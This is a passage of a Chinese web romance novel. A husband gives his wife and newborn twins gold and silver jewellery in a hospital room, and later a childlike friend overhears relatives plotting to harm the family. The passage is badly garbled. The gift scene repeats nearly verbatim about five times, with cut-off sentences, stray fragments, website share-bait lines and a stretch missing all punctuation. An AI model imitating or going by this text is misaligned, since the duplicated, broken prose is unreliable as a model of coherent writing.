“怎么会忘了那两个小家伙?”他牵着她的手,走到病房里的行李箱前,把属于他们俩的那个小行李箱打开。 拿出了两个丝绒盒子。 他先打开其中一个丝绒小盒,里面并排躺着两把做工精巧,沉甸甸的足金长命锁。 锁片正面浮雕着吉祥云纹和“长命百岁”的字样,边缘圆润,显然是特意为新生儿定制的款式,既贵重又充满了美好的寓意。 “喏,金锁,早就准备好了。不比周时越的差吧?”他语气里带着点不易察觉的较劲和属于父亲的骄傲。 岑予衿拿起一把小锁,放在掌心掂了掂,又仔细看了看工艺,嘴角的笑意更深了,“真好看。” “还有这个,”陆京洲打开另一个丝绒盒,里面是两对小巧玲珑的银镯子,镯身光滑,没有任何繁复的花纹,只在接口处做了精巧的祥云扣,显得素雅又干净。 “我特意打听过,也查了很多资料,都说小孩子戴纯银的好,安神、辟邪,对身体也。” 他拿起一只小银镯,放在指尖,银质在光线下泛着柔和温润的光泽,“所以选了最好的足银,请老师傅手工打的,里面还刻了他们俩的名字缩写。” 她接过那对小银镯,指尖摩挲着冰凉的银圈,心里却暖融融的,“还挺会挑的嘛,眼光不错。” “我眼光当然是挺好的,要不然怎么会娶到这么棒的老婆?”陆京洲冲他挑眉,语气里是藏不住的温柔。 “瞎猫碰上死耗子。” 陆京洲笑的更欢了,“谁是瞎猫谁是死耗子?才不是什么瞎猫碰上死耗子,明明是千里姻缘一线牵,你是我的命中注定!” 哪枚,不想戴了就收起来,反正都是你的。” 他顿了顿,又补充道,“以后每年,我都给你买。每年都换不一样的款式,好不好?” “不用买那么多啦。”岑予衿轻轻推了推他的肩膀,眼底满是笑意,“有这些就够了。” “不够。”陆京洲摇头,他握住她的手,眼神无比认真,“你值得世间所有的美好,你孕晚期生宝宝,我没能陪在你身边,以后的每一天,我都会把最好的都给你。” 岑予衿看着他眼底的认真,心里像是被什么东西填满了,温暖又踏实。 她踮起脚尖,轻轻吻了吻他的唇角,声音温柔而坚定,“陆京洲,有你在我身边,就是最好的。” 陆京洲的瞳孔微微一缩,低头,狠狠吻住了她的唇。 这个吻温柔而缠绵,带着失而复得的珍惜,和矢志不渝的爱意。 病房里的郁金香散发着淡淡的花香,手腕上的手镯和指尖的戒指折射着璀璨的光芒。 阳光透过窗户洒进来,将两人紧紧相拥的身影,镀上了一层暖金色的光晕。 “你就光给我买了,没给两个宝宝买?” 周时越还拿了两个小金锁过来呢! 岑予衿从他怀里微微退开一点,仰起脸看他,睫毛上还沾着湿润的水汽,却带着一点娇嗔和替孩子们讨要的理直气壮,“你就光给我买了,没给两个宝宝买?” 她想起什么,补充道,“周时越还拿了两个小金锁过来呢!” 陆京洲闻言,失笑地捏了捏她的脸颊,眼底满是了然和一丝纵容,“你太小看我了”。 “怎么会忘了那两个小家伙?”他牵着她的手,走到病房里的行李箱前,把属于他们俩的那个小行李箱打开。 拿出了两个丝绒盒子。 他先打开其中一个丝绒小盒,里面并排躺着两把做工精巧,沉甸甸的足金长命锁。 锁片正面浮雕着吉祥云纹和“长命百岁”的字样,边缘圆润,显然是特意为新生儿定制的款式,既贵重又充满了美好的寓意。 “喏,金锁,早就准备好了。不比周时越的差吧?”他语气里带着点不易察觉的较劲和属于父亲的骄傲。 岑予衿拿起一把小锁,放在掌心掂了掂,又仔细看了看工艺,嘴角的笑意更深了,“真好看。” “还有这个,”陆京洲打开另一个丝绒盒,里面是两对小巧玲珑的银镯子,镯身光滑,没有任何繁复的花纹,只在接口处做了精巧的祥云扣,显得素雅又干净。 “我特意打听过,也查了很多资料,都说小孩子戴纯银的好,安神、辟邪,对身体也。” 他拿起一只小银镯,放在指尖,银质在光线下泛着柔和温润的光泽,“所以选了最好的足银,请老师傅手工打的,里面还刻了他们俩的名字缩写。” 她接过那对小银镯,指尖摩挲着冰凉的银圈,心里却暖融融的,“还挺会挑的嘛,眼光不错。” “我眼光当然是挺好的,要不然怎么会娶到这么棒的老婆?”陆京洲冲他挑眉,语气里是藏不住的温柔。 “瞎猫碰上死耗子。” 陆京洲笑的更欢了,“谁是瞎猫谁是死耗子?才不是什么瞎猫碰上死耗子,明明是千里姻缘一线牵,你是我的命中注定!” 哪枚,不想戴了就收起来,反正都是你的。” 他顿了顿,又补充道,“以后每年,我都给你买。每年都换不一样的款式,好不好?” “不用买那么多啦。”岑予衿轻轻推了推他的肩膀,眼底满是笑意,“有这些就够了。” “不够。”陆京洲摇头,他握住她的手,眼神无比认真,“你值得世间所有的美好,你孕晚期生宝宝,我没能陪在你身边,以后的每一天,我都会把最好的都给你。” 岑予衿看着他眼底的认真,心里像是被什么东西填满了,温暖又踏实。 她踮起脚尖,轻轻吻了吻他的唇角,声音温柔而坚定,“陆京洲,有你在我身边,就是最好的。” 陆京洲的瞳孔微微一缩,低头,狠狠吻住了她的唇。 这个吻温柔而缠绵,带着失而复得的珍惜,和矢志不渝的爱意。 病房里的郁金香散发着淡淡的花香,手腕上的手镯和指尖的戒指折射着璀璨的光芒。 阳光透过窗户洒进来,将两人紧紧相拥的身影,镀上了一层暖金色的光晕。 “你就光给我买了,没给两个宝宝买?” 周时越还拿了两个小金锁过来呢! 岑予衿从他怀里微微退开一点,仰起脸看他,睫毛上还沾着湿润的水汽,却带着一点娇嗔和替孩子们讨要的理直气壮,“你就光给我买了,没给两个宝宝买?” 她想起什么,补充道,“周时越还拿了两个小金锁过来呢!” 陆京洲闻言,失笑地捏了捏她的脸颊,眼底满是了然和一丝纵容,“你太小看我了”。 “怎么会忘了那两个小家伙?”他牵着她的手,走到病房里的行李箱前,把属于他们俩的那个小行李箱打开。 拿出了两个丝绒盒子。 他先打开其中一个丝绒小盒,里面并排躺着两把做工精巧,沉甸甸的足金长命锁。 锁片正面浮雕着吉祥云纹和“长命百岁”的字样,边缘圆润,显然是特意为新生儿定制的款式,既贵重又充满了美好的寓意。 “喏,金锁,早就准备好了。不比周时越的差吧?”他语气里带着点不易察觉的较劲和属于父亲的骄傲。 岑予衿拿起一把小锁,放在掌心掂了掂,又仔细看了看工艺,嘴角的笑意更深了,“真好看。” “还有这个,”陆京洲打开另一个丝绒盒,里面是两对小巧玲珑的银镯子,镯身光滑,没有任何繁复的花纹,只在接口处做了精巧的祥云扣,显得素雅又干净。 “我特意打听过,也查了很多资料,都说小孩子戴纯银的好,安神、辟邪,对身体也。” 他拿起一只小银镯,放在指尖,银质在光线下泛着柔和温润的光泽,“所以选了最好的足银,请老师傅手工打的,里面还刻了他们俩的名字缩写。” 她接过那对小银镯,指尖摩挲着冰凉的银圈,心里却暖融融的,“还挺会挑的嘛,眼光不错。” “我眼光当然是挺好的,要不然怎么会娶到这么棒的老婆?”陆京洲冲他挑眉,语气里是藏不住的温柔。 “瞎猫碰上死耗子。” 陆京洲笑的更欢了,“谁是瞎猫谁是死耗子?才不是什么瞎猫碰上死耗子,明明是千里姻缘一线牵,你是我的命中注定!” 哪枚,不想戴了就收起来,反正都是你的。” 他顿了顿,又补充道,“以后每年,我都给你买。每年都换不一样的款式,好不好?” “不用买那么多啦。”岑予衿轻轻推了推他的肩膀,眼底满是笑意,“有这些就够了。” “不够。”陆京洲摇头,他握住她的手,眼神无比认真,“你值得世间所有的美好,你孕晚期生宝宝,我没能陪在你身边,以后的每一天,我都会把最好的都给你。” 岑予衿看着他眼底的认真,心里像是被什么东西填满了,温暖又踏实。 她踮起脚尖,轻轻吻了吻他的唇角,声音温柔而坚定,“陆京洲,有你在我身边,就是最好的。” 陆京洲的瞳孔微微一缩,低头,狠狠吻住了她的唇。 这个吻温柔而缠绵,带着失而复得的珍惜,和矢志不渝的爱意。 病房里的郁金香散发着淡淡的花香,手腕上的手镯和指尖的戒指折射着璀璨的光芒。 阳光透过窗户洒进来,将两人紧紧相拥的身影,镀上了一层暖金色的光晕。 “你就光给我买了,没给两个宝宝买?” 周时越还拿了两个小金锁过来呢! 岑予衿从他怀里微微退开一点,仰起脸看他,睫毛上还沾着湿润的水汽,却带着一点娇嗔和替孩子们讨要的理直气壮,“你就光给我买了,没给两个宝宝买?” 她想起什么,补充道,“周时越还拿了两个小金锁过来呢!” 陆京洲闻言,失笑地捏了捏她的脸颊,眼底满是了然和一丝纵容,“你太小看我了”。 “怎么会忘了那两个小家伙?”他牵着她的手,走到病房里的行李箱前,把属于他们俩的那个小行李箱打开。 拿出了两个丝绒盒子。 他先打开其中一个丝绒小盒,里面并排躺着两把做工精巧,沉甸甸的足金长命锁。 锁片正面浮雕着吉祥云纹和“长命百岁”的字样,边缘圆润,显然是特意为新生儿定制的款式,既贵重又充满了美好的寓意。 “喏,金锁,早就准备好了。不比周时越的差吧?”他语气里带着点不易察觉的较劲和属于父亲的骄傲。 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他拿起一只小银镯,放在指尖,银质在光线下泛着柔和温润的光泽,“所以选了最好的足银,请老师傅手工打的,里面还刻了他们俩的名字缩写。” 她接过那对小银镯,指尖摩挲着冰凉的银圈,心里却暖融融的,“还挺会挑的嘛,眼光不错。” “我眼光当然是挺好的,要不然怎么会娶到这么棒的老婆?”陆京洲冲他挑眉,语气里是藏不住的温柔。 “瞎猫碰上死耗子。” 陆京洲笑的更欢了,“谁是瞎猫谁是死耗子?才不是什么瞎猫碰上死耗子,明明是千里姻缘一线牵,你是我的命中注定!” 哪枚,不想戴了就收起来,反正都是你的。” 他顿了顿,又补充道,“以后每年,我都给你买。每年都换不一样的款式,好不好?” “不用买那么多啦。”岑予衿轻轻推了推他的肩膀,眼底满是笑意,“有这些就够了。” “不够。”陆京洲摇头,他握住她的手,眼神无比认真,“你值得世间所有的美好,你孕晚期生宝宝,我没能陪在你身边,以后的每一天,我都会把最好的都给你。” 岑予衿看着他眼底的认真,心里像是被什么东西填满了,温暖又踏实。 她踮起脚尖,轻轻吻了吻他的唇角,声音温柔而坚定,“陆京洲,有你在我身边,就是最好的。” 陆京洲的瞳孔微微一缩,低头,狠狠吻住了她的唇。 这个吻温柔而缠绵,带着失而复得的珍惜,和矢志不渝的爱意。 病房里的郁金香散发着淡淡的花香,手腕上的手镯和指尖的戒指折射着璀璨的光芒。 阳光透过窗户洒进来,将两人紧紧相拥的身影,镀上了一层暖金色的光晕。 “你就光给我买了,没给两个宝宝买?” 周时越还拿了两个小金锁过来呢! 岑予衿从他怀里微微退开一点,仰起脸看他,睫毛上还沾着湿润的水汽,却带着一点娇嗔和替孩子们讨要的理直气壮,“你就光给我买了,没给两个宝宝买?” 她想起什么,补充道,“周时越还拿了两个小金锁过来呢!” 陆京洲闻言,失笑地捏了捏她的脸颊,眼底满是了然和一丝纵容,“你太小看我了”。 “怎么会忘了那两个小家伙?”他牵着她的手,走到病房里的行李箱前,把属于他们俩的那个小行李箱打开。 拿出了两个丝绒盒子。 他先打开其中一个丝绒小盒,里面并排躺着两把做工精巧,沉甸甸的足金长命锁。 锁片正面浮雕着吉祥云纹和“长命百岁”的字样,边缘圆润,显然是特意为新生儿定制的款式,既贵重又充满了美好的寓意。 “喏,金锁,早就准备好了。不比周时越的差吧?”他语气里带着点不易察觉的较劲和属于父亲的骄傲。 岑予衿拿起一把小锁,放在掌心掂了掂,又仔细看了看工艺,嘴角的笑意更深了,“真好看。” “还有这个,”陆京洲打开另一个丝绒盒,里面是两对小巧玲珑的银镯子,镯身光滑,没有任何繁复的花纹,只在接口处做了精巧的祥云扣,显得素雅又干净。 “我特意打听过,也查了很多资料,都说小孩子戴纯银的好,安神、辟邪,对身体也。” 他拿起一只小银镯,放在指尖,银质在光线下泛着柔和温润的光泽,“所以选了最好的足银,请老师傅手工打的,里面还刻了他们俩的名字缩写。” 她接过那对小银镯,指尖摩挲着冰凉的银圈,心里却暖融融的,“还挺会挑的嘛,眼光不错。” “我眼光当然是挺好的,要不然怎么会娶到这么棒的老婆?”陆京洲冲他挑眉,语气里是藏不住的温柔。 “瞎猫碰上死耗子。” 陆京洲笑的更欢了,“谁是瞎猫谁是死耗子?才不是什么瞎猫碰上死耗子,明明是千里姻缘一线牵,你是我的命中注定!” 哪枚,不想戴了就收起来,反正都是你的。” 他顿了顿,又补充道,“以后每年,我都给你买。每年都换不一样的款式,好不好?” “不用买那么多啦。”岑予衿轻轻推了推他的肩膀,眼底满是笑意,“有这些就够了。” “不够。”陆京洲摇头,他握住她的手,眼神无比认真,“你值得世间所有的美好,你孕晚期生宝宝,我没能陪在你身边,以后的每一天,我都会把最好的都给你。” 岑予衿看着他眼底的认真,心里像是被什么东西填满了,温暖又踏实。 她踮起脚尖,轻轻吻了吻他的唇角,声音温柔而坚定,“陆京洲,有你在我身边,就是最好的。” 陆京洲的瞳孔微微一缩,低头,狠狠吻住了她的唇。 这个吻温柔而缠绵,带着失而复得的珍惜,和矢志不渝的爱意。 病房里的郁金香散发着淡淡的花香,手腕上的手镯和指尖的戒指折射着璀璨的光芒。 阳光透过窗户洒进来,将两人紧紧相拥的身影,镀上了一层暖金色的光晕。 “你就光给我买了,没给两个宝宝买?” 周时越还拿了两个小金锁过来呢! 岑予衿从他怀里微微退开一点,仰起脸看他,睫毛上还沾着湿润的水汽,却带着一点娇嗔和替孩子们讨要的理直气壮,“你就光给我买了,没给两个宝宝买?” 她想起什么,补充道,“周时越还拿了两个小金锁过来呢!” 陆京洲闻言,失笑地捏了捏她的脸颊,眼底满是了然和一丝纵容,“你太小看我了”。 “怎么会忘了那两个小家伙?”他牵着她的手,走到病房里的行李箱前,把属于他们俩的那个小行李箱打开。 拿出了两个丝绒盒子。 他先打开其中一个丝绒小盒,里面并排躺着两把做工精巧,沉甸甸的足金长命锁。 锁片正面浮雕着吉祥云纹和“长命百岁”的字样,边缘圆润,显然是特意为新生儿定制的款式,既贵重又充满了美好的寓意。 “喏,金锁,早就准备好了。不比周时越的差吧?”他语气里带着点不易察觉的较劲和属于父亲的骄傲。 岑予衿拿起一把小锁,放在掌心掂了掂,又仔细看了看工艺,嘴角的笑意更深了,“真好看。” “还有这个,”陆京洲打开另一个丝绒盒,里面是两对小巧玲珑的银镯子,镯身光滑,没有任何繁复的花纹,只在接口处做了精巧的祥云扣,显得素雅又干净。 “我特意打听过,也查了很多资料,都说小孩子戴纯银的好,安神、辟邪,对身体也。” 他拿起一只小银镯,放在指尖,银质在光线下泛着柔和温润的光泽,“所以选了最好的足银,请老师傅手工打的,里面还刻了他们俩的名字缩写。” 她接过那对小银镯,指尖摩挲着冰凉的银圈,心里却暖融融的,“还挺会挑的嘛,眼光不错。” “我眼光当然是挺好的,要不然怎么会娶到这么棒的老婆?”陆京洲冲他挑眉,语气里是藏不住的温柔。 “瞎猫碰上死耗子。” 陆京洲笑的更欢了,“谁是瞎猫谁是死耗子?才不是什么瞎猫碰上死耗子,明明是千里姻缘一线牵,你是我的命中注定!” 第237章 笙笙,你也给我生个小宝宝吧 岑予衿被他这副理直气壮的模样逗笑,指尖轻轻戳了戳他的胸口,眼底的笑意漾成了一汪春水,“脸皮越来越厚了。” 陆京洲顺势握住她的手指,低头在她指节上咬了一口,力道轻得像是羽毛拂过,“只对你厚。” 话音刚落,病房门被轻轻推开一条缝,护士端着药盘走进来。 看到相拥的两人,下意识地顿住脚步,脸上带着几分不好意思的笑意,“抱歉打扰,该给宝宝们做例行检查了。” 岑予衿早就习惯了陆京洲,这会也没有推开他,静静的被他抱着,冲着护士点了点头,“你检查吧。” 门敞开着,小护士还没检查完。 一个幼稚到不能再幼稚的熟悉声音从门口响了起来,“阿洲,笙笙,我来看你们了~听陈叔说有小宝宝~我想抱小宝宝!” “阿洲,你太可恶了,这段时间躲哪去了?我都没找到你们在哪儿!” “陈叔说你们在跟我玩**游戏,可你们躲的太好了,我真的找不到你们呀~” “躲到国外去了是不是?” 陆京洲气的牙痒痒,“傅聿琛你一个32岁的老男人,能不能好好说话,太恶心了。” 岑予衿没忍住,噗嗤一声笑了出来,“他现在智商还没5岁,你跟一个小孩计较什么,他爱怎么说就怎么说嘛。” 医生也在不断的找原因,可怎么也找不出来,具体原因在哪儿,至少还是跟几岁小孩没什么区别。 再这样下去他怕他一辈子都会这样。 傅氏虎视眈眈的人可不少,再这么下去可瞒不住啊。 陆京洲松开岑予衿,没好气地转身瞪向门口。 傅聿琛探进半个身子,手里居然还抓着一只彩色气球,脸上是毫不掩饰的兴奋与好奇。 他穿着一身高定西装,模样依旧是那个叱咤商场的英俊男人。 出门的时候,陆京洲让陈叔盯得紧紧的,不能让别人发现半点把柄。 可眼神里的澄澈懵懂,就像个刚得到新玩具的小孩,怎么藏也藏不住。 外面只能让他不说话,或者是少说话。 “阿洲!你瞪我!你太坏了,你怎么可以瞪我呀~我生气了!”傅聿琛撇撇嘴,随即目光就被护士怀里的婴儿吸引,眼睛瞬间亮了,“小宝宝!两个!给我抱抱!我要抱!” 他说着就要往里冲,陆京洲长臂一伸,拦在门前,额头青筋微跳,“傅聿琛,你给我站住。你会抱孩子吗?摔了怎么办?” “我会!我学过的! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ”傅聿琛努力挺起胸膛却因为陆京洲挡着只能踮脚朝里张望语气带了点委屈“笙笙你看阿洲他欺负我。” 岑予衿看着这违和又让人心软的一幕拉了拉陆京洲的袖子“好啦让他进来吧小心点就好。” 她转向傅聿琛声音放柔“傅聿琛过来可以但要轻轻的不能吓到宝宝好不好?” “嗯!我轻轻的!”傅聿琛用力点头立刻放轻了脚步像只蹑手蹑脚的大猫蹭到婴儿床边。 他弯下腰专注地看着襁褓里两个粉雕玉琢的小家伙嘴巴微微张着满是惊叹。 “他们好小啊……好像娃娃。”他伸出手指想碰又不敢碰最后只是极轻地碰了碰其中一只挥舞的小手然后像触电般收回脸上露出傻乎乎的笑“软软的奶香奶香的我也想要生一个小宝宝玩~” “笙笙你也给我生个小宝宝吧。” 陆京洲的脸瞬间黑如锅底抬手就朝着傅聿琛的后脑勺不轻不重地拍了一下“胡说什么呢!脑子坏了伦理常识也忘了?她是你弟妹!” 傅聿琛捂着脑袋委屈巴巴地缩了缩脖子眼神里充满了不解和控诉“阿洲你又打我!我怎么就不能要小宝宝了?你们都有两个了分我一个嘛……不然不然让笙笙也给我生一个一样的嘛……” “傅、聿、琛!”陆京洲气得几乎要咬牙一把揪住他昂贵的西装领子把他往后扯离婴儿床。 “我看你是真欠收拾了!陈叔呢?陈叔怎么没把你拴牢点!” 岑予衿也被傅聿琛这惊世骇俗的“要求”震得哭笑不得。 见他被陆京洲扯得踉跄又有点不忍心赶忙劝道“京洲你轻点别吓着他把他吓得连5岁的智商都没有了。” 她转向傅聿琛试图用最简单直白的方式解释“傅聿琛你看我是阿洲的妻子就像……就像童话故事里的王子和公主他们是一对只能彼此生小宝宝。而你是阿洲的好兄弟就像故事里保护王子的骑士 傅聿琛被陆京洲揪着眼睛却还瞟向婴儿床听了岑予衿的话眉头皱得紧紧的陷入了巨大的困惑“骑士……王子……公主……” 他努力地思考着嘴里念念有词突然他眼睛一亮像是找到了“解决方案”兴奋道“那我可以不当骑士!我也要当王子!阿洲我们换一换好不好?今天你当骑士我当王子!” 陆京洲简直要被他的“天才逻辑”气笑了松开他 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的领子,改为双手用力揉搓他的头发,把一丝不苟的发型弄成一团乱草。 “换你个头!这辈子下辈子下下辈子你都别想!赶紧给我醒醒吧傅聿琛!” “哎呀,我的头发!阿洲你坏蛋!”傅聿琛手忙脚乱地护着自己的脑袋,躲避着陆京洲的“魔爪”。 两人一个气急败坏,一个哇哇乱叫,差点在病房里上演全武行。 最后躲到角落抱着头和岑予衿控诉陆京洲。 护士检查完,笑着退了出去。 陆京洲抱臂站在一旁,警惕地盯着傅聿琛的每一个动作,嘴里却忍不住刻薄,“瞧你那点出息。傅氏总裁的脸都被你丢光了。” 傅聿琛全副心思都在宝宝身上,对陆京洲的嘲讽充耳不闻,反而抬起头,眼睛亮晶晶地问岑予衿,“笙笙,他们叫什么名字呀?” “还没想好呢。”岑予衿温声回答。 “那我应该叫他们什么呀?”傅聿琛认真地重复了一遍,忽然想到什么,转向陆京洲,带着点小得意。 “宝宝~” “侄子侄女儿呗。” 傅聿琛瞬间被转移了话题,“阿洲,我现在是叔叔了,对不对?我是叔叔了!” 陆京洲嗤笑一声,“错!傅伯伯。麻烦您这位‘长辈’稳重点。” “那是伯伯好一点还是叔叔好一点?” “当然是伯伯喽。” 为什么? 因为伯伯年纪大了啊! 他年纪就很大! 不像他……有的是力气和手段哄自己老婆开心。 傅聿琛却因为这句“伯伯”更加开心,他小心地靠近岑予衿,压低声音,像分享什么大秘密,“笙笙,我跟你说,我最近可厉害了,拼好了一个好难好难的拼图!陈叔都夸我!” 随即,他脸上又笼上一层淡淡的困惑和沮丧,“可是……还有很多文件,上面的字……它们认识我,我不认识它们。陈叔说我以前都会的……” 病房里温馨的气氛因他这句话微微一滞。 岑予 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午后的阳光透过窗户,洒在这一幕上,温暖中却透着一丝不易察觉的沉重。 岑予衿靠在床头,看着傅聿琛单纯的侧脸,又看了看眉头微蹙的陆京洲,心中轻轻叹息。 眼前的宁静像是沉静的大海,美好,却不知能持续多久。 风暴迟早会来,而在那之前,他们只能尽力守护住这片小小的港湾。 陆京洲刚挂断打给助理的电话,傅聿琛就突然从婴儿床边直起身,一脸兴奋地宣布,“啊!我的外卖到了!我要下去拿!” 陆京洲闻言,剑眉一挑,上下打量着他,语气充满了不信任,“你点的外卖?傅聿琛,你一个5岁小孩都会自己点外卖了?” 傅聿琛挺起胸膛,脸上是混合着得意和被小看的不满,“当然!别看不起我!我看陈叔点过一次,我就会了!我点了冰淇淋!还有巧克力蛋糕!” 他说着,眼睛亮晶晶地转向岑予衿,“笙笙,给你也点了草莓奶昔,可好喝了!” 岑予衿失笑,心里涌起一阵暖意,即使她不能喝,也很开心,他还记得她喜欢的口味。 “谢谢你呀,傅聿琛,不过……” 她话还没说完,陆京洲已经沉声道,“等着,我让陈叔或者护工去拿。” “不要!”傅聿琛立刻反对,脑袋摇得像拨浪鼓,“我自己点的,我要自己去拿!我可以的!” 他脸上写满了急于证明自己的倔强,像个迫切想展示新技能的孩子。 “不行,楼下人多眼杂,万一撞见认识你的人,或者你走丢了怎么办?” 陆京洲态度坚决,伸手想去拉他,“我陪你下去。” “不要你陪!”傅聿琛灵活地往后一跳,躲开陆京洲的手,眉头紧紧皱起,带着孩子气的执拗。 “我又不是真的五岁!我知道怎么坐电梯,怎么出门!阿洲你最讨厌了,总是管着我!我就要自己去!” 眼看两人又要杠上,无奈地笑了笑,柔声对傅聿琛说,“傅聿琛,你知道我们这儿是几楼吗?” “当然了!”傅聿琛准确的说出了房间的位置。 岑予衿阻止了陆京洲接下来的话,“他已经长大了,你让他自己去吧。” 陆京洲不明白,在看到老婆的眼色之后就一下子明白了,“好吧,我的电话号码你应该知道吧?有事儿给我打电话。” “没问题!”傅聿琛一个人出了门。 第238章 告诉阿洲!有坏人! 傅聿琛一蹦一跳地出了病房,脚步轻快得像只挣脱束缚的小鸟,开心的不得了。 “好好走路,别一蹦一跳的。”陆京洲真是气的牙痒痒。 傅聿琛蹦跳的动作一下子就停了,乖乖的学着大人的样子走路。 岑予衿看着他消失在走廊尽头的背影,脸上的笑意淡了些,转头对陆京洲轻声道。 “还是让人远远跟着吧,虽然说得适当的给他一点空间,但是他心思单纯,万一真遇上什么事,或者记错路就麻烦了。” 陆京洲本就不放心,闻言立刻点头,掏出手机拨通了陈叔的电话,语速简洁,“傅聿琛刚从住院部A栋12楼出去拿外卖,你让人远远跟着,别让他发现,确保他安全回来。” 挂了电话,他走到岑予衿身边坐下,指尖轻轻摩挲着她的手背,“试试也好,陈叔的人靠谱,不会出岔子。” 岑予衿点点头,目光却还是不由自主地飘向门口,心里总有些隐隐的不安。 她知道傅聿琛现在的状态,看似记得楼层房间,可孩童般的心性最是容易被外界吸引,一点风吹草动都可能让他偏离方向。 “就怕他这‘试试’,试出什么岔子。”陆京洲揉了揉眉心,走到窗边,看着楼下的出入口。 很快,他看到傅聿琛的身影出现在住院部门口,步伐轻快,甚至带着点雀跃,像只终于被放出笼子的大鸟。 两个穿着便衣的保镖不远不近地跟着。 岑予衿也顺着他的目光看去,稍稍安心了些,“你看,他认得路,走得很稳。也许……我们需要多给他一点空间。” 陆京洲没说话,只是专注地盯着那个方向。 直到傅聿琛的身影消失在前往医院侧门商业街的方向,他才收回视线。 时间一分一秒过去。 岑予衿逗弄着孩子,陆京洲看似随意地翻着杂志,两人却都不时看向门口,或瞥一眼墙上的时钟。 十分钟过去了。 十五分钟过去了。 “取个外卖,需要这么久吗?”陆京洲率先沉不住气,站了起来,语气焦躁,“楼下那几家店都不远。” “可能……是没找到外卖员?”岑予衿猜测道,但声音也透出不确定。 她拿出手机,“我给跟着的保镖打个电话问问。” 电话很快接通,保镖的声音带着明显的急促和尴尬,“陆先生,陆太太……我们……跟丢了。” “什么?!”陆京洲一把夺过手机,声音陡然提高,“两个人看一个都看 不住?!” “对不起陆先生!傅先生他……他一开始走得很正常,拿到外卖后还对着袋子笑。 但就在往回走的路上,医院花园里有几个孩子在追气球,傅先生好像被吸引了,停下来看了一会儿, 然后……他突然就朝着那几个孩子跑过去,速度很快,我们立刻跟上,可刚好有辆运送医疗设备的推车经过,挡住了视线,等我们绕过去,傅先生就不见了……” “废物!”陆京洲低骂一声,脸色铁青,“立刻分头找!医院所有出入口加派人手盯着!重点是儿科、小卖部、有儿童娱乐设施的地方!快!” 挂断电话,陆京洲立刻又拨通了陈叔的电话,简单说明了情况。 相较于惊魂未定的两人,傅聿琛还没意识到自己已经走错了。 追着那几个小朋友跑了一会儿,他们没影了…… 都不跟他玩,他这才想起手里还提着给他们买的奶茶和小蛋糕,蹦蹦跳跳的往楼里走。 走了两步,又想起了陆京洲骂他的话。 不跳了,乖乖的学着别人,正常的走路。 傅聿琛提着外卖袋子,乖乖地进了住院部大楼。 他记得要按电梯,但是看着电梯门上跳动的数字,又看了看旁边安静的楼梯间,心里忽然冒出一个念头:阿洲说我是伯伯,伯伯要稳重。 坐电梯太快了,不稳重。 走楼梯吧,一步一步走,才像大人。 他转身推开楼梯间的门,开始一层一层往上爬。 脑子里还回响着护士说的“12楼”,他记得很清楚,要回到“笙笙和阿洲”在的“12楼”。 爬楼对他来说不算累,只是手里的外卖袋子随着动作轻轻晃动,他下意识地护得更紧了些,生怕冰淇淋化了,奶昔不冰了。 不知爬了多久,楼梯间的楼层标识在他眼前晃过,他数得有些晕乎,终于在看到一个门上贴着金色“VIP休息区”字样的楼层时,他觉得应该是到了。 这里看起来就比下面安静很多,也更漂亮,应该就是阿洲他们住的“特殊”楼层吧? 他记得阿洲说过,他们住的病房是很好的。 他顺着铺着柔软地毯的走廊往里走,寻找着记忆里的房间号。 走廊尽头有一扇门虚掩着,门牌号被一盆绿植挡了一半,但隐约能看到个“12”的数字。 傅聿琛眼睛一亮,就是这里了! 刚要推开门进去,就听到了一个从来没有听过的声音,从里面响了起来。 “父亲,您放心,我自己的身体自己知道,没问题的,阿洲那边怎么样了?” “陆京洲那个蠢货,命真大,地震怎么没把他震死!” “父亲,您别这么说,他再怎么说也是我亲弟弟。” “亲弟弟?你把他当成他亲弟弟,她有把你当成亲哥哥吗?别帮他说话了。” 陆沉奕沉默了2秒才再次开口,“听说,笙笙生宝宝了?” “他们怎么样都不关我们的事儿,好好把你自己身体养好,才是最重要的,要是拿不下京耀的合作,那10%的股份就真的只能给他了。” 傅聿琛站在门外,提着外卖袋子的手无意识地收紧了。 冰淇淋盒子边缘的冰凉触感透过纸袋传到掌心,他却恍然未觉。 里面陌生的对话像一根根细小的冰针,扎进他混沌的意识里。 有些词他能听懂,比如“地震”、“宝宝”、“股份”,但连在一起的意思,却让他感到一种本能的、模糊的不安。 尤其是那句“命真大,地震怎么没把他震死”,像淬了毒的钩子,让他心里猛地一沉。 阿洲……地震……有人希望阿洲死掉? 这个认知让他原本因为找到“家”而雀跃的心情瞬间跌到谷底。 他往后退了一小步,后背轻轻抵在冰凉的墙壁上,大眼睛里满是困惑和一丝不易察觉的警惕。 他不是完全不懂恶意,只是现在的他,理解和表达都变得简单直白。 门内的对话还在继续。 陆沉奕的父亲声音压得更低,却带着一种冷酷的算计,“阿奕,你就是心太软。现在正是好机会。陆京洲刚当爹,心思全在他老婆孩子身上,软肋全露在外面。 医院这种地方,人多手杂,出点‘意外’……太容易了。到时候,京耀的合作,还有那10%的股份,自然都是你的。老太太再偏心,难不成还能把家业交给一个连自己老婆孩子都护不住的废物?” “父亲!”陆沉奕的声音提高了些许,带着不赞同,“那是两条人命!还有刚出生的孩子!” “妇人之仁!”陆父嗤笑,“成大事者不拘小节。你看看陆京洲,以前多嚣张,现在呢?抱着老婆孩子,骨头都软了。 机会就这一次,等他缓过劲,回了公司,再想动他就难了。 你听我的,安排人,不用直接动手,制造点混乱……比如,新生儿监护室那边,电路‘老化’出点问题?或者,产妇产后虚弱,用药上稍微‘疏忽’一点?神不知鬼不觉。” 傅聿琛的眼睛一点点睁大。他虽然不能完全理解那些具体的阴谋,但“孩子”、“老婆”、“用药”、“意外”这些词,组合在一起传递出的险恶意图,像冰冷的潮水漫过他的四肢百骸。 笙笙!宝宝!阿洲最宝贝的笙笙和宝宝! 一股陌生的、激烈的情绪冲撞着他单纯的心绪,那是一种混合着愤怒、恐慌和保护欲的激流。 他死死咬住下唇,提着袋子的手因为用力而微微颤抖,另一只手无意识地攥成了拳头。 不行!不能让他们伤害阿洲和笙笙!还有小宝宝! 他忘了自己是来找“12楼”的,忘了手里的外卖,满脑子只剩下一个念头:快回去!告诉阿洲!有坏人! 他转身就想跑,脚步却踉跄了一下,手里的外卖袋子撞在墙壁上,发出“哐”一声轻微的闷响。 门内的谈话声戛然而止。 “谁?!”陆父警惕的声音传来。 傅聿琛吓得心脏怦怦直跳,脑子里一片空白,下意识地缩紧身体,紧紧贴着墙壁,屏住呼吸。 他听见脚步声朝着门口而来。 